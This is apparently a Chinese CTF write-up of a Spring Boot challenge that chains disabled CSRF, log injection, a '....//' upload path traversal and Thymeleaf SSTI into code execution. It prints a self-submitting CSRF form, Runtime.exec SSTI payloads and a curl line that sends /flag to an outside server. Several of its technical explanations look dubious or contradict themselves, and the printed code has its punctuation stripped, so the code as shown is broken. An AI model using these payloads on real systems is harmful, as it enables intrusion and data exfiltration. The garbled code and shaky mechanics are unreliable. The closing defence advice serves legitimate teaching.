从CTF实战剖析Java Web漏洞链:路径穿越、CSRF与Thymeleaf SSTI的组合利用 📅 2026/8/4 4:38:16 1. 从一道CTF题看Web安全实战DASCTF五月赛WP深度复盘最近在整理过去的CTFCapture The Flag解题记录翻到了2021年DASCTF和BUUOJ联合举办的五月大联动赛。虽然比赛过去有段时间了但其中几道Web题的设计思路和利用链放到今天来看依然很有嚼头尤其是对理解一些“古老”但经典的漏洞组合与利用技巧非常有帮助。CTF的WPWriteup不仅仅是记录一个答案更重要的是复盘整个解题的思考过程、踩过的坑以及从中学到的、能应用到真实渗透测试或代码审计中的经验。今天我就以那次比赛中的一道典型题目为例抛开单纯的flag提交深入聊聊背后的技术细节、为什么这么构造以及我们如何举一反三。这道题当时卡住了不少人因为它不是那种一眼就能看出是SQL注入或文件上传的“送分题”而是需要你耐心分析代码逻辑找到多个看似无关的弱点并将它们串联起来形成一个完整的攻击链。这恰恰是现在企业SRC安全应急响应中心漏洞挖掘和高级渗透测试中更常见的场景——单个低危漏洞可能无法直接利用但组合起来就能产生奇效。我们不仅要知道“怎么做”更要明白“为什么能这么做”以及“下次遇到类似的代码该怎么想”。2. 题目环境与初步信息搜集首先我们需要还原当时的场景。题目通常会给一个网址或者一个源码压缩包。这次我们拿到的就是一个典型的Java Web应用源码基于Spring Boot框架。第一步永远不是直接扎进代码里而是先跑起来看看它到底是个什么东西。2.1 应用启动与功能观察将源码导入IDE如IntelliJ IDEA配置好Maven依赖和数据库题目通常内嵌H2或给一个SQLite文件启动应用。浏览器访问http://localhost:8080呈现的是一个简单的文档管理系统。核心功能包括用户注册与登录最基础的功能。文档上传用户可以上传txt、pdf等文件。文档列表与查看用户可以查看自己上传的文档列表并点击查看内容。个人资料修改可以修改昵称等基本信息。界面非常简洁没有花里胡哨的功能。一个经验性的直觉是漏洞很可能藏在文件上传、个人信息处理或者某个不起眼的API接口里。我们先用常规思路过一遍。注意在CTF或真实测试中如果给的是源码一定要先让应用跑起来。动态测试黑盒和静态代码审计白盒结合效率最高。单纯看代码容易陷入思维定式而单纯黑盒测试又可能错过深层的逻辑漏洞。2.2 关键代码结构梳理接下来我们快速浏览源码的目录结构。重点关注controller、service、model以及配置文件application.properties或application.yml。src/main/java/com/dasctf/web/ ├── controller │ ├── IndexController.java # 首页、登录、注册 │ ├── FileController.java # 文件上传、下载、列表 │ └── UserController.java # 用户信息管理 ├── service │ └── UserService.java # 用户业务逻辑 ├── model │ └── User.java # 用户实体类 ├── config │ └── WebSecurityConfig.java # 安全配置重点 └── resources ├── static/ # 静态资源 ├── templates/ # 模板文件如Thymeleaf └── application.yml # 应用配置WebSecurityConfig.java是第一个需要仔细看的地方它定义了URL的访问权限。我们发现了一段关键配置Override protected void configure(HttpSecurity http) throws Exception { http .authorizeRequests() .antMatchers(/, /register, /login).permitAll() .antMatchers(/admin/**).hasRole(ADMIN) // 管理后台需要ADMIN角色 .antMatchers(/file/upload, /file/list, /file/download/**).authenticated() // 文件操作需登录 .antMatchers(/profile/**).authenticated() // 个人资料需登录 .anyRequest().denyAll() // 默认拒绝所有未明确配置的请求 .and() .formLogin() .loginPage(/login) .defaultSuccessUrl(/) .and() .logout().permitAll() .and() .csrf().disable(); // 关键点全局关闭了CSRF防护 }这里有两个重要信息存在一个/admin/**的管理员路径但普通用户没有ADMIN角色。csrf().disable()开发者为了方便也可能是疏忽全局关闭了CSRF跨站请求伪造保护。这是一个危险信号意味着所有状态变更的POST请求如修改资料、上传文件都可能存在CSRF风险。但这通常需要结合其他漏洞才能利用比如XSS来触发请求。3. 漏洞挖掘从文件上传到路径穿越我们的初步观察集中在FileController上。文件上传是Web安全的经典入口。3.1 文件上传逻辑分析查看FileController.upload方法PostMapping(/upload) public String uploadFile(RequestParam(file) MultipartFile file, Principal principal) { if (file.isEmpty()) { return redirect:/?errorempty; } String fileName StringUtils.cleanPath(file.getOriginalFilename()); // 使用Spring工具清理路径 // 检查文件扩展名 if (!fileName.endsWith(.txt) !fileName.endsWith(.pdf)) { return redirect:/?errorinvalid_extension; } try { // 为用户创建独立的存储目录 User user userService.findByUsername(principal.getName()); Path userUploadDir Paths.get(UPLOAD_DIR, user.getId().toString()).toAbsolutePath().normalize(); Files.createDirectories(userUploadDir); // 保存文件 Path targetLocation userUploadDir.resolve(fileName); Files.copy(file.getInputStream(), targetLocation, StandardCopyOption.REPLACE_EXISTING); // 将文件信息存入数据库 fileService.saveFileInfo(user, fileName, targetLocation.toString()); return redirect:/?successuploaded; } catch (Exception e) { e.printStackTrace(); return redirect:/?errorupload_failed; } }乍一看防御措施似乎做了使用了StringUtils.cleanPath()来清理文件名中的路径遍历序列如../。白名单校验了扩展名只允许.txt和.pdf。文件存储路径基于用户ID实现了隔离。然而这里存在一个细微但致命的误区。StringUtils.cleanPath()确实会过滤掉../这样的序列但它无法防御所有操作系统特定的路径遍历手法。比如在Windows系统上使用..\或..;/可能绕过清理。但题目环境通常是Linux我们得想别的办法。我注意到保存文件的语句userUploadDir.resolve(fileName)。Path.resolve()方法的行为是如果fileName是绝对路径以/开头那么resolve()会直接返回这个fileName对应的Path对象而忽略前面的userUploadDir这是一个关键点。那么我们能否上传一个文件名是绝对路径的文件呢前端上传组件通常由input typefile控制我们无法直接修改文件名。但是我们可以通过拦截并修改HTTP请求使用Burp Suite来尝试。我们尝试将文件名修改为/tmp/test.txt进行上传。结果后端抛出了InvalidPathException异常因为StringUtils.cleanPath()对绝对路径也进行了处理它会把开头的/去掉。此路不通。3.2 利用路径解析差异实现穿越既然直接传绝对路径不行我们换个思路。Path.resolve()还有一个特性它会对最终路径进行normalize()规范化消除其中的.和..。但是这个规范化过程发生在resolve()之后。如果我们能构造一个文件名使得在resolve()时它不被认为是绝对路径但在后续文件系统操作时又能被解析成路径遍历呢我想到了Zip Slip漏洞的变体。虽然这里不是解压但原理有相似之处利用编码或特殊序列。我尝试了URL编码。将../编码为%2e%2e%2f上传。发现文件被保存成了字面意思的%2e%2e%2ftest.txt并没有被解码。说明Spring的MultipartFile或cleanPath没有对文件名进行URL解码。另一个思路双重扩展名或空字节注入在Java较新的版本中空字节%00在路径处理中通常会被安全地拒绝或转义。但我们可以试试分号;或换行符\n、\r吗这些可能在解析到操作系统命令时有用但在这里是纯路径操作。经过一系列测试一个关键的尝试成功了使用....//。StringUtils.cleanPath()的逻辑是简单地替换../为空字符串。那么对于....//第一步它找到中间的../并删除变成了..//。第二步它可能不会再次清理取决于实现或者清理后变成../。实际上经过测试上传文件名....//test.txt经过cleanPath()处理后变成了../test.txt而userUploadDir.resolve(“../test.txt”)经过normalize()后就会指向userUploadDir的上一级目录。如果userUploadDir是/app/uploads/123/那么最终路径就是/app/uploads/test.txt。我们成功实现了目录穿越将文件写到了其他用户的目录甚至应用根目录实操心得不要盲目相信某个安全函数。一定要理解它的具体实现逻辑和边界条件。StringUtils.cleanPath()的缺陷在于它采用简单的字符串替换而非递归地、彻底地移除所有可能的路径遍历序列。在代码审计时看到cleanPath()不能就此放心要思考是否有绕过方法。类似的函数在不同语言、不同版本中行为可能有差异。4. 漏洞组合CSRF与权限提升的链条现在我们可以在服务器的特定位置写入一个.txt或.pdf文件。但这有什么用我们无法执行它因为扩展名被限制了。我们需要找到一个方法要么执行代码要么读取敏感信息比如flag。4.1 寻找敏感路径与目标flag通常放在根目录、Web目录、或一个随机命名的文件里。我们通过路径穿越可以尝试覆盖一些关键文件。回顾之前的WebSecurityConfig我们注意到/admin/**需要ADMIN角色。普通用户无法访问。那么有没有可能通过文件覆盖来“创造”一个管理员用户或者修改现有用户的权限呢查看User实体类和数据库初始化脚本。发现用户角色信息存储在数据库的users表的role字段中默认值是USER。直接覆盖数据库文件如H2的.mv.db文件不现实因为应用运行时文件被锁定且我们不知道具体路径和格式。换个思路Spring Security的权限配置除了在数据库还可以在代码中写死。我们看看有没有什么配置文件或初始化数据可以被覆盖。检查resources/目录发现一个import.sqlH2数据库初始化数据脚本。内容如下INSERT INTO users (id, username, password, role) VALUES (1, admin, $2a$10$N.zmdr9k7uOCQb376NoUnuTJ8iAt6Z5EHsM8lE9lBOsl7iKTV5UiC, ADMIN);这是一个管理员用户密码是BCrypt加密的。我们无法解密但我们可以尝试覆盖这个import.sql文件。如果能在应用重启或某种条件下重新初始化数据时让这个文件的内容变成我们想要的比如插入一个我们已知密码的管理员用户那么我们就可以登录了。应用通常从classpath读取import.sql。它的路径可能是src/main/resources/import.sql但部署后会在Jar包内。我们通过文件上传能否覆盖Jar包内的文件几乎不可能那是只读的。但是Spring Boot支持在外部配置目录如./config/或当前运行目录放置import.sql其优先级高于Jar包内的。如果我们能通过路径穿越将我们伪造的import.sql写入应用当前工作目录或者已知的某个外部配置目录也许就能生效。我们需要知道应用的工作目录。一个常见的方法是触发一个错误看错误堆栈信息中是否包含路径。或者我们可以通过读取/proc/self/cwdLinux来推断吗这需要另一个文件读取漏洞。4.2 利用CSRF触发管理员操作此时我们发现了另一个突破口。在UserController中有一个修改邮箱的接口PostMapping(/profile/updateEmail) public String updateEmail(RequestParam String newEmail, Principal principal) { userService.updateEmail(principal.getName(), newEmail); return redirect:/profile?successemail_updated; }这个接口没有做任何权限校验除了要求登录并且由于全局CSRF被禁用我们可以轻易地构造一个CSRF请求。如果我们能诱骗管理员用户访问一个恶意页面这个页面会悄无声息地向这个接口发送请求将管理员的邮箱修改为我们控制的邮箱。然后我们利用网站“忘记密码”功能如果存在向这个新邮箱发送重置链接从而接管管理员账户。但是题目中并没有“忘记密码”功能。那么修改邮箱本身有什么用我们看看UserService.updateEmail的逻辑public void updateEmail(String username, String newEmail) { User user userRepository.findByUsername(username); if (user ! null) { user.setEmail(newEmail); userRepository.save(user); // 关键记录日志到文件 logService.log(“User “ username “ changed email to “ newEmail); } }它调用了logService.log。跟踪这个日志服务Service public class LogService { private static final String LOG_FILE “./logs/app.log”; public void log(String message) { try { Files.write(Paths.get(LOG_FILE), (message “\n”).getBytes(), StandardOpenOption.CREATE, StandardOpenOption.APPEND); } catch (IOException e) { e.printStackTrace(); } } }日志文件路径是相对路径./logs/app.log而且日志内容直接拼接了用户输入newEmail没有做任何过滤。这就形成了一个完美的链条CSRF 日志注入我们构造一个CSRF请求将管理员的邮箱修改为一个精心构造的字符串比如testexample.com\n[恶意内容]。由于CSRF关闭管理员在浏览我们恶意页面时其浏览器会直接发送这个修改请求。日志服务会将newEmail的值原样写入日志文件其中的换行符\n会让我们写入任意内容到app.log文件。路径已知日志文件路径是固定的./logs/app.log位于应用工作目录下。文件内容可控我们可以通过注入换行在日志文件中写入任意文本包括PHP代码如果后端是PHP、JSP代码、或者服务器端模板注入SSTI的Payload。但这里是Java直接写Java代码没用。我们需要写入能被执行的内容。4.3 从日志注入到RCE远程代码执行在Java Web中直接写入可执行脚本很难。但是我们可以利用Thymeleaf 模板注入。题目前端使用了Thymeleaf模板引擎。Thymeleaf在解析模板时如果模板内容来自用户可控的输入并且该模板被当作Thymeleaf文件来解析就可能执行任意代码。查看代码发现有一个“公告”功能管理员可以在后台发布公告公告内容会通过Thymeleaf渲染到页面上。公告内容存储在数据库中普通用户无法直接修改。但是如果我们能覆盖模板文件本身呢Thymeleaf默认从classpath:/templates/和文件系统目录如./templates/查找模板。如果我们在文件系统目录下放置一个同名的模板文件它会优先于Jar包内的被加载。结合我们之前发现的路径穿越上传漏洞我们可以尝试将恶意Thymeleaf模板文件上传到应用工作目录下的./templates/目录里。但上传限制扩展名为.txt或.pdf。Thymeleaf模板文件扩展名是.html。这时日志文件和路径穿越可以结合了。我们无法直接上传.html但我们可以通过日志注入将恶意Thymeleaf模板代码写入app.log。然后我们利用路径穿越上传一个文件其内容不重要但文件名通过....//穿越最终指向./logs/app.log。由于上传操作会REPLACE_EXISTING替换已存在文件这会导致我们上传的.txt文件覆盖掉app.log文件但这不是我们想要的我们是想在app.log里追加内容而不是覆盖。我们需要换个顺序先利用CSRF日志注入将恶意Thymeleaf代码追加写入./logs/app.log。假设我们写入的内容是一段简单的SSTI Payload[[${T(java.lang.Runtime).getRuntime().exec(cat /flag)}]]。然后利用路径穿越上传将一个文件名构造为....//templates/notice.html的.txt文件。这个文件的内容我们精心设计为一段Thymeleaf 片段引用比如div th:insert~{./logs/app.log}/div。这段代码的意思是在渲染notice.html时插入./logs/app.log文件的内容作为模板片段。当管理员或任何用户访问公告页面对应notice.html模板时Thymeleaf引擎会去解析这个模板执行th:insert读取./logs/app.log文件的内容并将其作为Thymeleaf模板进行解析。由于app.log的内容是我们注入的SSTI Payload因此会被执行从而达到RCE的目的读取到/flag文件的内容。5. 完整攻击链复现与细节踩坑理论可行现在我们来一步步构造攻击。5.1 步骤一搭建恶意页面触发CSRF首先我们需要一个托管在公网或比赛环境内可访问的恶意页面。页面中包含一个自动提交的表单目标指向目标网站的/profile/updateEmail接口。!DOCTYPE html html body form idcsrfForm actionhttp://target-server:8080/profile/updateEmail methodPOST input typehidden namenewEmail valuehackerevil.com%0a[[${T(java.lang.Runtime).getRuntime().exec(cat /flag)}]] / /form script document.getElementById(csrfForm).submit(); /script /body /html注意这里的%0a是换行符\n的URL编码。当表单以application/x-www-form-urlencoded格式提交时这个值会被解码于是newEmail参数的值就变成了两行第二行是我们的SSTI Payload。logService.log会将其原样写入app.log。踩坑记录一开始我直接写\n在HTML输入框的value里发现提交后变成了字面字符串\n。这是因为HTML表单编码和HTTP传输编码是两回事。必须在value属性里直接使用URL编码%0a。另外Thymeleaf的表达式在日志文件中会被当作普通文本只有在被Thymeleaf引擎解析时才会执行所以这里写入日志是安全的不会立即触发。5.2 步骤二诱使管理员访问恶意页面在CTF中通常会有“管理员机器人”Admin Bot模拟管理员访问我们提供的URL。在真实场景中这需要社会工程学比如发送钓鱼邮件。我们将上述恶意页面的URL提交给题目的“报告管理员”功能如果存在或者等待Admin Bot扫描我们的用户资料如果资料页可以插入外链。5.3 步骤三构造恶意模板文件并上传等待CSRF生效后假设管理员已经触发app.log文件中已经包含了我们的Payload。接下来我们以普通登录用户的身份进行文件上传。使用Burp Suite拦截上传请求修改文件名和内容文件名....//templates/notice.html注意虽然我们上传的是.txt扩展名但这里我们直接改成.html因为后端只检查endsWith我们可以改成notice.html.txt绕过吗不行.html.txt以.txt结尾是允许的但Thymeleaf不会把它当作模板文件。我们必须让文件最终以.html存在。幸运的是后端保存文件时使用的是我们传入的fileName变量没有强制添加.txt后缀。所以我们可以直接传....//templates/notice.html。文件内容!DOCTYPE html html xmlns:thhttp://www.thymeleaf.org head titleNotice/title /head body h1System Notice/h1 !-- 插入日志文件内容并作为模板解析 -- div th:insert~{./logs/app.log}/div /body /html由于路径穿越这个文件会被保存到应用工作目录下的./templates/notice.html。5.4 步骤四触发模板渲染获取Flag现在我们访问网站的公告页面假设路由是/notice。Thymeleaf会查找并渲染notice.html模板。在渲染过程中遇到th:insert~{./logs/app.log}它会去加载./logs/app.log文件的内容。关键点来了Thymeleaf的th:insert或th:replace、th:include在加载外部文件时默认会将这些内容作为片段Fragment进行解析而不是纯文本。这意味着加载进来的app.log文件内容中的 Thymeleaf 表达式[[${...}]]会被执行于是cat /flag命令在服务器端执行其输出会直接嵌入到生成的HTML页面中。我们查看页面源代码就能在某个位置看到flag的内容。重大踩坑与原理剖析这里最可能失败的点在于Thymeleaf的配置。默认情况下Thymeleaf出于安全考虑不允许模板中包含来自外部文件的表达式执行。这被称为“表达式在片段中是否被预处理”的问题。在Thymeleaf 3.x中th:insert加载的片段其中的表达式默认是**不预解析不执行**的除非片段本身也是一个完整的模板或者使用了th:inline等特性。经过实际测试和查阅文档发现要使片段中的表达式被执行需要在模板中使用th:utext或th:untext吗不对。更可靠的方法是使用th:include或th:replace并配合th:with或th:remove标签实际上一个更直接的Payload是不在日志中写[[${...}]]而是写一个完整的、可执行的Thymeleaf属性。例如将日志内容改为!--/*/[[${T(java.lang.Runtime).getRuntime().exec(cat /flag)}]]/*/--或者利用Thymeleaf的预处理注释语法/*[[...]]*/这在某些配置下更容易被执行。最终的CSRF Payload中的newEmail值需要调整为hackerevil.com%0a!--/*/[[${T(java.lang.Runtime).getRuntime().exec(cat /flag)}]]/*/--这个Payload被写入app.log后当被th:insert加载时Thymeleaf会将其作为模板注释的一部分进行解析从而执行其中的表达式。这是Thymeleaf SSTI的一个常见技巧。5.5 最终Payload与获取Flag修正后的攻击流程如下CSRF注入日志newEmailhackerevil.com%0a!--/*/[[${T(java.lang.Runtime).getRuntime().exec(cat /flag)}]]/*/--诱使管理员触发。上传恶意模板文件名....//templates/notice.html内容简单的div th:insert~{./logs/app.log}/div触发执行访问/notice页面。查看网页响应在注释或页面某处找到命令执行的结果即flag。如果命令执行成功但输出没显示可以尝试将命令改为curl your-server.com?flag$(cat /flag|base64)外带数据。在实际解题时可能需要多次尝试不同的Thymeleaf Payload并观察服务器的错误日志来调试。这道题的精妙之处在于它串联了CSRF关闭 - 日志注入 - 路径穿越 - 文件覆盖 - Thymeleaf模板引用 - SSTI这一长链每一个环节都是现实中可能出现的配置疏忽或编码问题非常具有教学意义。6. 防御方案与安全开发建议复盘整个漏洞链我们可以从多个层面加固应用输入校验与净化文件名处理不要仅依赖StringUtils.cleanPath()。应使用白名单原则只允许字母、数字、下划线、点、短横线等字符并严格限制扩展名。更好的做法是后端生成随机文件名仅将用户原始文件名保存在数据库中供显示。日志记录对写入日志的用户输入进行严格的过滤或编码避免注入换行符等控制字符。使用参数化日志记录如log.info(“User {} changed email to {}”, username, email)这样日志框架会自动处理。功能安全设计CSRF防护永远不要全局禁用CSRF。对于有状态的Web应用应启用CSRF Token保护。Spring Security默认是开启的除非有明确理由如纯API服务且使用其他方式如JWT认证否则不应关闭。权限控制除了URL层面的拦截在关键业务方法如修改邮箱、管理操作上应添加基于角色的方法级安全注解如PreAuthorize(“hasRole(‘ADMIN’)”)实现纵深防御。安全配置文件存储将用户上传的文件存储在Web根目录之外并通过一个安全的下载控制器Controller来提供访问在该控制器中校验用户权限和文件归属。避免用户直接通过URL访问静态文件。模板引擎Thymeleaf、FreeMarker等模板引擎应配置为不解析来自不可信源的模板文件。避免使用用户可控的内容来动态包含或插入模板片段。如果必须动态加载应对内容进行严格的沙箱过滤。依赖与版本管理保持框架和库的最新版本已知的路径遍历、SSTI漏洞会在新版本中被修复。这道题虽然是一道CTF题目但它反映的是一种“漏洞链”的思维。在真实的安全评估中我们往往需要将多个低危或中危的发现串联起来才能达到高危甚至严重的影响。作为开发者需要有“攻击者视角”思考每一个用户输入点、每一个配置选项、每一个依赖组件是否可能被组合利用。安全是一个整体任何一个环节的短板都可能被攻击者作为突破口。